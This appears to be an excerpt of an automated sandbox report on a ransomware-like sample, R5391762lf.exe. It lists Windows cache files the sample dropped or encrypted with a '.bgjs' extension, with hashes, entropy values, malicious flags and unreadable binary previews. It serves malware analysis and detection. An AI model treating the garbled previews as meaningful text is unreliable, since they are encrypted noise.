Preview:	.w.. .SP&.3.R.#.;......e\|..Kpk.'...x.s...=c.........I...%b..h...8e..3.....1...c%...T."....~.,E.\|..@@.\|....g7...W.:..7... ....d.F... .s.{n.Gt.zI..6n.V..-...`..#..D<.(ONB..Ew}...]...P..Tn...r...>.._....E.7.\kq(;.W.......[.a}r#:..f....\...%b.m9!.S....S,...<.4......X~s.C..n...%..S.....a..[8..F...............4z..$.H..]:..u;..?7...kI.....(7..^...9..?..:.X.....=oK....).#............0.R...<..d.3..b...l.G...d:G.K.]."....cyJ..e.gQ-.....Wc..........\.2&1.P;&.r....Y...I0`.H.t.L<.mO.]J.....X.;.,e.HZ[.?...P..y.^c...d].RD.\|.......:......[\|.l.KT.2....4.........m8.:/.w?.o.2.,g....JHV..h.r..;q..l.`....R..c.r\.6...}Miy..c$.~;..>.........Ow.%...Iy'X..+.\.a..L/..R....K.,....h_..[..A3.vp..b..b...p..L.l..K....H3M... ...i3.P.....N;....k..i..1> .m:.N..tX.\|..%.0..c.I.uN8.#`RS.a.,..fX..A.{.....,.>$.:...j..W.!#"%.j.@..^S+.M.j.7...y..{".<.!..ss.=.3B...M.v.....=y]...op.V..s.. .E.uv.vt2U+.y...!....s!..nE..wG...t.`.o....{.ksy....(..2./...(..-..).!.d.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000010.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	104062
Entropy (8bit):	7.998286374777715
Encrypted:	true
SSDEEP:	3072:zqTIUe5pYguJA7IA+XXCEBO1Q+S4BbfaTLV6yYjtKn+:zoeHYgGAbYy8ZeSnkTpp
MD5:	668253300E0C0ABEA4F5A3081A4E9A62
SHA1:	CB3CAF6B6F7B406F5F9770DD2100B0E17E59BE0B
SHA-256:	5006941C98FA161145D9BF585BD2E1BB7E34F425A027809FE841D76FE144F55F
SHA-512:	B5C064A0411CEEE1C53AA521008060D9779F8DBC3E652D9FB8D84389C10517DDAF46CF9D874A9990336443C068317F73FD9D6A34530A46B2EABD87FBBD7E6DB7
Malicious:	true
Preview:	....hX.c3.!a....L..T(.7..h..v.HS.2.B3...l..6`....'.rN....p.....nm..9.b*...\|..5h...._...Er..+m.\...Mu\|6+.]^~^.B)1.y..6o..............S~....F...{$..~h..'.r.U.c}..o.O3/....Dkr@.....,D/.T2.`..F..z.......d.G....%.h'.R%.T-.G@o..3tX..7...!-.....~.l...a.5X..?i.}L,..l.6...)...O..z.4...Y.l.L-.Y&<n.By..6..M..!......\|!..._.cib..\|...M.(...w.p..g.....j....{.9....(..n0......f..y&.......#;...X)(.t#..L.....Kfc0..l.a....z.n..6..D7....hc5}.X]...~..Gf........[.A......F`..C..?.}........9N..+G4.[.@Q....d^..^.h2.O....q.#..m....)..S.jN.....M..uZ9Q..h.V.Q..D.....7.........a..k_78H......j'..W.....e.h.!...r.Z.....:.@.v8....}..fT..#4..........K.R....%....=.T...b`z....@.DH+...K.$O.sM.8.h.+..1........j?nr8b...._&......".l..Y...............Q.C...m....c..LF..\..... ...b&...^.....7.j.m.KP<bs.......1..{.N.$...eX...t.9..k.b.a..k._.:..BiS.8...l.Y....=F.L..;.~..U..u.O..Q.C$.+.s..u.8.....Y.....S..\|.H.<.Y../....e.$q.G.s.^......),dT;.u.yD...B..6Q..+&...]..../.."..&....

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000011.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998305630016988
Encrypted:	true
SSDEEP:	3072:HDcCtp+IelHYhkV5093Y7Z5YlOGvuDMQ997so3x:wCtp+IelHYW50hY1Seo+uoB
MD5:	76DA90F30E9F5F37EDA2FD946969EB0A
SHA1:	5A5B14EF611FC067D348658A74D7C7B8A6FE2CB1
SHA-256:	9A68B0FAD520A38DFDD7C39368C715A08BCBE9515A73BCDE174A8EB0D8BCA36C
SHA-512:	56AD0DC96015728778CFAAD12748B917CE66F4D65A03E4369D15590CD5C8CC22BC9D5366884F348C2D2A2806BE507DC54C7D73D5CCCCACA890153160222096FA
Malicious:	true
Preview:	....h".].....U.?..b.....Hl~%..h...BGh4 1...L..hK.......\|........y.x.\.g.r._K.iv...q..=...t.)~F...R..L.vz..F.p...."s`.._.r..Z"Cv/R.>.......zJ%.....XQ6S.2..@.b.4r.#.......se..[...D...b%...&..?gJ...x.B9.4.B....J`8.3h....qZ.~.5..;.m.C<s....r.~gh....V.2g..e....P.....TN..0........M..4./m.."wq.}.8....-.jH...h.lf....Cj...]...V.=..!..h.5.!6. .{9z.dP..X..;.....CE<..j...; ..^.wk.D...9..b.../..n......K_.tCKZ.....n.k>......N6.......=Bs@B...j..t..%.J<,+.O.uGF.R..."....7....b.j~.L..<....\..\|..eDX...l..5..5..2..]S....Q...v.g..h...5...5.p....e..os....i..q.4O..92...Do5.!..([..........M....&U...&.D0..$./`...$..G....3......i..[.../F.U...Y.R5r.`H....J.).....6...GI...0.--&...=.u.........1F..f...FH.OM.....$Q.9lr....g..?.S.A...t....S..".....,I6s.."..R.j....1..I.......\|5ly.,.`.&..s).WB..jv0?.[.......ST....acXE...S...#..f.2.....!...PD.5.%."G.^...vJ,rD..F!Z..2...]-Q.h.8.\.)#...[.;]../..Vh.M........n..N.A.....s....M........(.Y...b~B..........5.vL"..-Q0

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.997411069090939
Encrypted:	true
SSDEEP:	1536:FIY02htLfhJNYBE5VL/aqoZ63pTXvK+677Dvo0Qg7aPonRttd:nlJWiH35XypMrg7NRttd
MD5:	1CE72ABEA942275E379B838FFDF35F59
SHA1:	FA1EFE1380C5F6D8762CFB934B53D17629EF1F04
SHA-256:	7C877863B706228E39AE14E2280F92E52B63858CED1702E122AB710828D1961C
SHA-512:	31321D50624B52093BC9C24D0F8BA6C0EEF75B29F6D0E5942727DBE0A17931F2889EF19CE67E07818AB6B6BC5C4B8D68F6DCB2DBF0307703FBDA7EF4FC4D85C2
Malicious:	true
Preview:	............l.6sv.aF.}.&.....;.\|..Ka...v..a....J,.......B.9.....>.8G.H..0....e...,.$c..GV.....d;.g.q[.vW...,...T.Ml_....>n.Y.`.....h.H....7$..........r.F&..,L.)@>.++..d.>U............zF...lx........b.}P..`.\.1..3q.A.7.T...m.....]K....7m...\|. ^k9).b..).;v..F...B.t....]e...3. ..n.....Lc%.C.]..c#..u.sZ_:..^....6...0A....).a.tex.,/.C."8.j._..........n....x".W.3..4..!EF...0......y...\|.=.T..Q{...p...)]gb.m.2."wD.y..S...j!....(.q]w.vi4....y.Y..J.oN.b....R.B.....@...0.R_.1%MC...#+...E....{P..K.z...qsE/...8..a....@...{z...C.^.J.......I..b9..S...a.[....%..g[.......+..(N{. ./....{../...E["..lf ....GO.e.m.D..r....xs.en...\...............8.(p.(.[.C.Y.#......`{=..{.(..s7ZfF..8.@.@.....=:.i!..cS....%....Yp..........>.Fw....s8....}...}#....>.FW...i.%\|f.....5<..........d....xG.14...[.5........r..^b...i.we..N..g....@.n...6..*L.D..X../}..1..V.n.......Dr....C...YC...r.D.\'4xMhs..P.F...6.%<.k../..U..QL../...4..9Sc.1ii.. %....`.9...i..UiD.kB.w.....J5g...,...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	102742
Entropy (8bit):	7.998205913510948
Encrypted:	true
SSDEEP:	3072:NTXAaqf1Sq3On984A3ICk1bcr1CBceEYalOnK3P:5XVq9nO983Iiptlv
MD5:	82EC7DD7EAA4473332210217F43333F3
SHA1:	16836D3FD44AAB939F3749AE52587BA9A33651F2
SHA-256:	16BD105837F7875F4E9F3348EB233B84F57045A8AA6E7CE4C2CF5A307BFD53DE
SHA-512:	77DDDA24CCDA1F7B40FBEE0CFB8B8068A2B1F099CADF93F69BC016E1102960D0BC9E1DAAC4D45366076253C769BB235106BB908960A2EDFB829E465EFA68A5C4
Malicious:	true
Preview:	..............#Q).&.........I..._....p...j.....F.."b..+..[....N.M'i..9i..+.l[f.z..).d.y.....tU..Z..7......m.J....C..@^....e...DX.F-.....r..C%.D..I.;A..M,..0..x..^.#HR.B..y$.:...3...W.w6J..y.....$+J.........B.....r....v.$.-4..5t7...xv.XEI...........\|....Q......'..b.:L...a.v..^i.5~...M.D.q..&.....y]..r.P...O.[gkez\|......l....G....^.[..V7..R.~...0........hu..?jj..9bL......."....+.M. ..f...G8p.L.=4T...c.!.".O.R........0~..6.2..v..PB..M..(..v+...OE....nL..(..O\qk$U......yhR.1q.......iV.Vs................s_1Z.7.N=.N..l..w<........]..3.h/v.).i.M..a..y.qz..Lv\|../y.C]`Y.....<7.w...4.{...u.NL.....D.M.........x..q.,C..I......\.u.=...i........U..^.DQ..x.$`w.=r.%.....U.........qo.^.A.`..9......O..j.B.,....B.....l...n.../.Q33x\...w....)=I.....=+D....._Fq.@.N..k+..u.$.#O^.........jZ.V..0../.f..%.V.78..,.l.....v/.^..-...8R!.W.mH....g..........S..3.C...Lo...]...%............&...c.m.h...Kme..GV./..v.,...c.E.%r+Av}...d..3..nE...Ifd.......

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	614734
Entropy (8bit):	5.750377659108169
Encrypted:	false
SSDEEP:	3072:zGtBwylqhPjA1XT+b14fGuHWphtYQMENdSo8wrN4DKq4WmiJ05SKvJkQUhu9o4j8:zGQ+mg2vtbNgompmiJ6HvJLUUz8
MD5:	8DA2D11A48501816EBF693EFB9FA3D80
SHA1:	1A4B0C687E10CB27471BA648B247DF82637C8186
SHA-256:	9ECF5DBE37253F9A9B69665A5AD897212624DD5BFABF64DEF4B823C8830A8A65
SHA-512:	E3FE3298AB9704D34F7769A2ED95761417E3E6C9981EA668B7F65946B1CC36D37F6B2BB6CD765FD0B980102C0606A82CC904849015721474CA77F37D05F99E6E
Malicious:	false
Preview:	. ......v#......\ei..Qx.X.%.M.3w.......0I.u..;.../..>.:.J...ju......h...%].........Rn.....I6......4......On..G.A(.Bz..p.~.-..4....W.[..&...B..\...C/;..F.....B.A.{4..7.G.~.......F...RY...........;............$....+....j.x..J.~...O%1...............}u`...%...........t.j#."H.J.=..(.QU....4.5$..=u.$A....A...18v.....R.WCl.43.msNw.X<b.....76mH.B....S:...hh.V.O..H...f..d>J.2.N...#.#{k)09b.?.].....Z..../}. .x..1<.../^.d;.k.....&.E...B\|.6."...?.".n.P.1'.V..w.i/.x...{bO.$....=..........Y..o..Kg.}.\e^.+hx....Do......pD...1<.7.o..T....e..d/w......;mTT...k..`....y6.].....y....E.98...%?....-....@.:.,...H..kZ....-. c..P.._...>..(<u...&.zu...S...V..7/\|~..J.....d@M.}h....#..4.u.d.....7..j...t~..#2.#.O........3A..s?....~...S...x..l.....\|...d.5.W=b..........BH+..K)S.eK.........h$.....x.. k.^~.X.0..Bn4....XGt....Qd.)...$n./o...l......q.PF..@(..8.<m.. .[.....g5....Rh..)V.e4.*..{.:...p......c..Jf(...Z5.D....Xi.....'..9.q.....6$cD..J.......v..T..1..;e._

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992977192721181
Encrypted:	true
SSDEEP:	768:5pDFQtFB5Mnzd2UOHL2F83L8L/64PK3U1i4d:5pDgPOnzd2hrM83L8L/6eK3B+
MD5:	A4D8C913C70B52C7DB123A44CC85C0C5
SHA1:	DB536439EE977324833D77ECD2872C18E02514B1
SHA-256:	9BE099F38B90CB739305948A8424D14AF0980D8A070AED4555CA854A93C1F0EE
SHA-512:	FCA84F621958130A2E5048C11E4180DF83B242B49C3EE06AF94F5F654873982991B06B50AAF1AEC712986742DDFDF3DED2490195A363D1A0AA142169D8BD76E5
Malicious:	true
Preview:	. ...7<.ia..7./.6.p(../#:.z...!... ....9!N..&.#{..&C......[....k_.]mR\|..e(....B..[0/.S...v..........Z...W(....t..(o.j8$........@..\|q.y......=F....^...,.X./".....Mg......\|U. ..t(...\|...?...I.<..v9=......].....=.>.....y;:-..9..Jf.J.-...#..s...nxut@G..z..-...l...-M....C..i3..j.G.Rm..Q...J..c....g .qi..m.....cU.^..iLz......l,..3...s.5Y/...K/.. u9S...NCm...'..e.x.G.Y..R.@(..m.&Z..c.G....1{....o...%..2.yF.t....Y/9....B.....o...U...}..S..}....8(./.T...Jmd}y]R..\.cp..2..]......$....0._X..=....,.H..OI.....U....5.E.9vT....[&...z..V......AP.n..V.....G..$+..n..Il$.=~ .....U2...&...P.>.E.V.Y..u......G.."t%.E...<_.{.....P...a..L~.B.,.<.8...U....$Hj.,.Lg..#.,..]....7.V.........1..;.nU.F.]..E....=...}D..=)..v..Ei..E...w\.P..]-.W(i8;..W8C.l?.q...R....3.....F.x.Y.$b...>............+. ....q..T...Pg...t..*Ll...0.73..H....U..u......Y~o...Hm..x;.[xQ..MK...l1.ww\|.:..!=.....h......o..?....i..Jx6.]l.x.>.k....F..{.J-M.....\|.K....fR."^.,.da..Q]]9

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.235325581891129
Encrypted:	false
SSDEEP:	6:eE9VmRoKeANcXKq4V0qjVllEUaz+ukXuufgH5TJ5etXqHk7T3eWcii96Z:eEHm6KeAGaqGnlW+P0TJ5IXqOTuWciik
MD5:	9B6F00CE53E94C9A58938DE89821831A
SHA1:	234B86A1324F3071B3C9D88D635A7F36FA2D43A4
SHA-256:	B77EBC4423EC031966FEF86187F8A0256A2ABF5B97115171D8A4DFA9C6702829
SHA-512:	22ABD07EDB6FF2E803D0AA350085277B005410DE087F8DCFF8CF8FB66AE0332109B43DCFF1EE5B93EABC8AA0FDDEF5D3459CB8DCC24B86F6BE946BC5F8B21A00
Malicious:	false
Preview:	CMMM 5.H...y.I;JZ.+.....w...y....N..c..3d..k.HqV.FLt.=.%.Q".....J.....Z.vG./.s.r...Q..ep....).DNd<h:4?J.Q..WR.....k~......W.2F.@...<.L...K.(=.k.....<....[L@d.q ..}.+x... 0...'..~P.<2......1....1..d.........-.S.u.6..U!....Q=....+.Q......r..2.J.....R-..\9...:)Zx.1s.Y....Edoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.297166267610173
Encrypted:	false
SSDEEP:	6:QyQ6gCeygPGiDmQqKgzbdK1Q9uN2Mu+L5J9tFntXqHk7T3eWcii96Z:QyFHeSiqQqnKZNjjFtXqOTuWcii9a
MD5:	5C5A7DC3F7E690B70E9006B68F505A82
SHA1:	3058FD8E8A3FB2A37927FB4131108939F7F1659B
SHA-256:	0724D01FC1C5DEF0A276F4AAFB74616A136880654FA6A5B680A20FAD5F30DB6D
SHA-512:	45DAD6BD986D9F2D329C3E658854EF3623DC53A8A4691D0325645A85D8A24B96CE8D4A0FADF726A1ACA93477FCFA802DB57EFEF98698BF059B0E959100C9C13B
Malicious:	false
Preview:	CMMM ..^..U..Y.......m.P.XY.8....Q.w/ ......`.....{Y...m/...+....J).....o....f..=....b#E.'mQ... %.mi..}.\.=D.I8....iI...To5.wP.J...~>.%...o...thaul.=)t \|4%}......P.!i...T..C.;.7F...a....r.i...)i.aV....g.2.w..Q*.b...n..g\|.L.r5....#?...I...~..9%.........~.q..t3doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.241606727353382
Encrypted:	false
SSDEEP:	6:enKELrL43pT2DumLmgo0AaZCdR/JyiEd1xD1PpZ2qV/sNdtXqHk7T3eWcii96Z:kq5kto0VZeR/JyR3vVwDXqOTuWcii9a
MD5:	89FE05C203584F0A1C26F7879C3B980E
SHA1:	D05CC4D79ADBA25D950136EE115A7A59B21C8459
SHA-256:	221A95E19268F2A69A1741C0042395CABC4093517628FC99D23FF3F763EA2A18
SHA-512:	2D8E7DD914505ECF410E07570A37049601F616798287F768C3627D7E9AC580AB5B1FBD98B0A1C7DC7F75DD668D6F525D586FB46AE4F7E16B11D1A055DD35F17D
Malicious:	false
Preview:	CMMM ........$_...7....~.....fY..p.Ey.=.YS_..On.k..FR........vT;.S.k/.2K.h..F...%v.U<.`..u~L`.D.vp."...q..F..s.+..n.e..........9.....M..@$.....+^.4..A\|..tK...ag!.~->...v...%?....``.=.MN..c%~...&...W...{4#R./^z.o..;[.........R.$K...@.8."5........f}.~.@~...........E...uL.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279452746966886
Encrypted:	false
SSDEEP:	6:FfbFQPbKK9V6nCizIN4cwPgo3IuNAIOEPKL2IuyaItXqHk7T3eWcii96Z:FfbFYl9bN4cpoYi9iuPKXqOTuWcii9a
MD5:	BB62E8D8E779D74986FF041F04DA6BED
SHA1:	012787D6C42F52EC1C806418C9068E6B9FAF3EC8
SHA-256:	B91830B64DC2BE430FB269A52331EE2947D651341D85D9ADD877F33B5F44C5E4
SHA-512:	BEE6BF0716504EEB5659ECEDE77D6F9C48534762A94FA10E7397920897803222AB1D347CECDA0373DEF334FF2B65D5B3C1A57FB3A5414700F92E25832297B4C7
Malicious:	false
Preview:	CMMM dw:..."v...x....c.$..E. .I....d..X.Q..g.5}.3{%5.m.H...k.Z.F{...9....0..b.G.}"/.@....~=.z.4)..'{.x....D&c.6....h..!8........(I:.}Y.....W.y.....6..0W........{y...r.M..z..&ytV..I.[.Y.y..&@..i.%P.#(......X.8.n..G3....~....4.}.z9.r..o.mE.zF..X......u..'...^S..m.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.290003533205645
Encrypted:	false
SSDEEP:	6:bF2I+YQHKBcs8EhplTbQJ0yUkES2EvBbr3/avzXLEuaItXqHk7T3eWcii96Z:pEdHKBcs88T60dQmvzbjXqOTuWcii9a
MD5:	E523BB7B17A421E69091CFD20622F4FD
SHA1:	473E7453F81AA495ABCB643B4460378CB864E3F6
SHA-256:	A69C7C7CAE1CD5B1BC9BECDC734B4F58A4356110BEB44DE0A71F6B4A20AABCE7
SHA-512:	B751C8DE7CEDF68E01FE60E2E68CDDD3910BDB807598184967236A95740CBF478C6DA08E593FFB1B2E25B81EB7B4CDBBC0B4625D7953021EE998B8013F2E4DBD
Malicious:	false
Preview:	CMMM .V^.O.\|.].... .P#..M......~...Kw..+3..H/...2D...w...s.A@...%...l..!......b.qP\|.fC...Yl;....;.6..zu.....m......:..*.1=#.d/.. $...gR...>...!K.lF6Z.$t.......W....P.!...Z@.J....;C.&.<>....>Xc..kZh.a.;.!.....AJ2;.a.m-.3......;,.....0..G....U......v...7Ayk.J.<$.u....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285488028874462
Encrypted:	false
SSDEEP:	6:E5WqdscKa5KWlp9qz57OcEULJmiEoCrDCKlmorCFH1Wji8UifKQ/PhUtXqHk7T3n:EIwsQJlzqz5TzJVEoCGnoO91WDzsXqOj
MD5:	4D16CC66EBC89F97DCBF2015CEC65A68
SHA1:	C15EBF7EB2FC6A47D41A2E96C7E2E238A7552C87
SHA-256:	8026404735104A7667AAADE5C93CCA20622AE963B937B5914C51A777277E0ED2
SHA-512:	FBF12CA7CB9E86485919EF4C4CCB36909D5A907471B16C0F340B15511697F61B0183C62CDBB53B7A2BA6E8F88A6FB083B53F1ABBBD8D7A57808B702281948D38
Malicious:	false
Preview:	CMMM tK$.-.3qC.6L....#......l....Q.[....c.Ht.].]}0...V.K..,.ji..S.~!.S..<......:.b.vg..Yf.=..9#..#'...~Ys......\d.......C...U#.OW..s.....3...L.f.<.....mf...N.;....k.#.X..l).^$..2.".W..q..g~./.VZYB..O.....Y... ....Au..p...Vj..4....Q.s#T.......q..4M....ch....w.p^doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303382922607888
Encrypted:	false
SSDEEP:	6:TccPmanjoR2P+gW9m7zEW2MVxIQglWStAlF5c86DopA8Yil9UXMtXqHk7T3eWciD:jm2urHpzMVxwHVcpVcuXqOTuWcii9a
MD5:	F146DED33995BC67DEB191FC799D9457
SHA1:	662960C0D2E6100BDBE7A596C366396A8338C5A1
SHA-256:	32DA5B17B4921725C15B5393EAC0FC14CAC0899E19A951CB31FEE7CB67657243
SHA-512:	6584961189C6A4CB86659773B033723BF6E4FD913E3AB11AF45CF6AEADF46241DCC7C91FD78B2C41D8CD50B1A9CB0FF75100D8D8E06549EC3B9BF0B5BCE8AA6C
Malicious:	false
Preview:	CMMM h.....X.....P9..y..E.b[.......h..+...T.q..Y.og.8.-L..'.C.+....yNbM...CC.C..... ......B..;*.....n.......(....t5.x.@R...}?.n.<(....v^.%....uc>.7...>w..\|...E.......m1O.c..#.....E#.........<...y....`}..};.X..@....jJ.<....p.k]..^6..T6..uQ.E.3N..Y}G.9f?..=C.r.>.^.gT..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.208600354474097
Encrypted:	false
SSDEEP:	6:GASre50t5ZREhuvD10Qi4pe4ZpJL3FfYwXmyu6dK23LrNLMtXqHk7T3eWcii96Z:GNrk0HE21PZptEwXLuA3nNLeXqOTuWcq
MD5:	AA05A78A18A0AEF21E8153669D8B86E6
SHA1:	A7E494F6FFAAC0652C4F89F99308EDDFB141A72E
SHA-256:	E79238E93C544BB29FF102B8C33BBFC4B28018D61B77D2F167881383B687542E
SHA-512:	921C18CE164233E6A533F4EDCA383B312F870C4E40A2C15B9DC2D4B0FA891712754730755306853671AE0D2F0263ABCCF546A9EEB1DE59C214AD7AC60E0BAA85
Malicious:	false
Preview:	CMMM =..M.]....{....H..JAg+..;.H...C...:z.*....c...\|.g....../...l..s.=..I.P..I.....,..7.A,....v..qM..{...E~....,.(.#S. .[.^o.}........g&....@!-..V.[.N\|.B.W..t.._...$!T#..\|ei..o.[..L=@K.g.Rc.@-.......p..g..8.2..Q..u.)....&... .yC.......YIs_.?...-...EM..In..B.z...i..odoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.215341365738606
Encrypted:	false
SSDEEP:	6:TRMZj5v4BNOdDNwFS8/gakvpNfXyhnHOrJ6bsl9s40tXqHk7T3eWcii96Z:Ta5gmd2cJxNfChnHOrJ64le4GXqOTuWX
MD5:	830D44CD555CA60806A02292B428D020
SHA1:	230D8806EA1F8E4B9B6ECBC4CA0996D58B158094
SHA-256:	24D8C7B2AB17AF6625D5A70CCCA3F98DEDAB4C6DCF084A1C0F65034BC11CD9F2
SHA-512:	EAC2EB8D4DDB151FF3FADD5E62E0A1DF064E4ED9F687F98941EA61C8D9B0249C923556EDEDBED15CE7B4BA27B1D0DF9391A357BEE13D26B7A8E9580DC3D2AFBC
Malicious:	false
Preview:	CMMM 'J..Q0>1;sU....t....a....j$.\...-....MH..P..\|#.T{.D.P.V.;k.w.S7.O+..f.>k.cY ..Q.y. ZiUP...o..q\|C.....s.0{F6.....I82....".jv...............'K.{.....2....D+..........4e....n......H.t.+N...V..>.7_R.F.!.i.v`R.2......]...8...7.R......N.<...*.K...lP.nJg..zhF'.?...>.^doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.257430520654838
Encrypted:	false
SSDEEP:	6:+rXOi9TTESgkCSSQrlfwYBn8WjYHqrTjDLZMVOdtXqHk7T3eWcii96Z:epTESirQrlfwsnRjYHKmgDXqOTuWciik
MD5:	84630110F30E001C0DCDA4A5878A7644
SHA1:	D7D5E19D95997DAEB3B5D9E1D9010A4319727D5E
SHA-256:	A27352AAFE33500719E32FFA338B1747665974B7A3ECA6421E33D8657AB9D365
SHA-512:	7BD425ECF4EFCE13D2D8C25816B569CC2D541925ACB9C55C47A5908B4DD6DF1C42ECEDBBC69330281DEB692D8A86682C0D85A773C82190AD5198DAA889EDFFB6
Malicious:	false
Preview:	CMMM .W1$....iIHq......4....u.i..p..[.D.v....T....B...U<.`.....L39C.....w..nc.<.....m.(..)s.@(..B ..G...3......../..@7\|./\....j..Z....O..'.......k..Zb.-...j..4...Gx{......?..Y.i......&..2.$.FA..o...._\|.......05.bX.pF.0.al.5Y(..wj.-p.n.}l.}...8.s-!..%].G.6....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277227240033563
Encrypted:	false
SSDEEP:	6:8yAEPS+Fsn8zgDlSmKRrf8BkkyqpX9TJDKHwpOtghe7R+tXqHk7T3eWcii96Z:8yAmS9nMrkBkD0Xvj/he1oXqOTuWciik
MD5:	133EA26B02CD005AEDE77EB50C9360B5
SHA1:	CB1E2DEC0E726BFCD648A7CA8092B5E109D60060
SHA-256:	FBE0C7DED797C71521AC0D0064379E8490620AC29095A5D47B049382854A33D8
SHA-512:	79DC21B9DA5DA2F11DA4B8B929AB72DADDACA79B70328533339B70D57B128C79B260B1CFFB5DE97247ECB9089C980444D011FE96E2FC1ED62820E40DA035309F
Malicious:	false
Preview:	CMMM V..W......C^:.V..j..0..2[K...t@....:.:hY.(...c.......Z.;...^.Q....J......`...a#).h..i..........A."b:.bhb..\|. bJ$..o:..).j..@.+Z:.'..D.P..?{d.E..I...@+...4Y..7.9.ly..{...?.....W.e./G...7.rkHrb"..\.+V]K.@Q.~uI.*p....s....`:.T3.c.C.oX.;..9b[.....R....Rl{.E...=jdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2763258880876585
Encrypted:	false
SSDEEP:	6:1gmdthznqEhK1G36d71FTG0vG5YDHG83bPWiRoGzc5BQVUCQ5dVMtXqHk7T3eWcq:Hb5KJdBjucHGvkhzcvAUnXeXqOTuWciD
MD5:	0A9D5CD4672B02E838C471EBDD1733C2
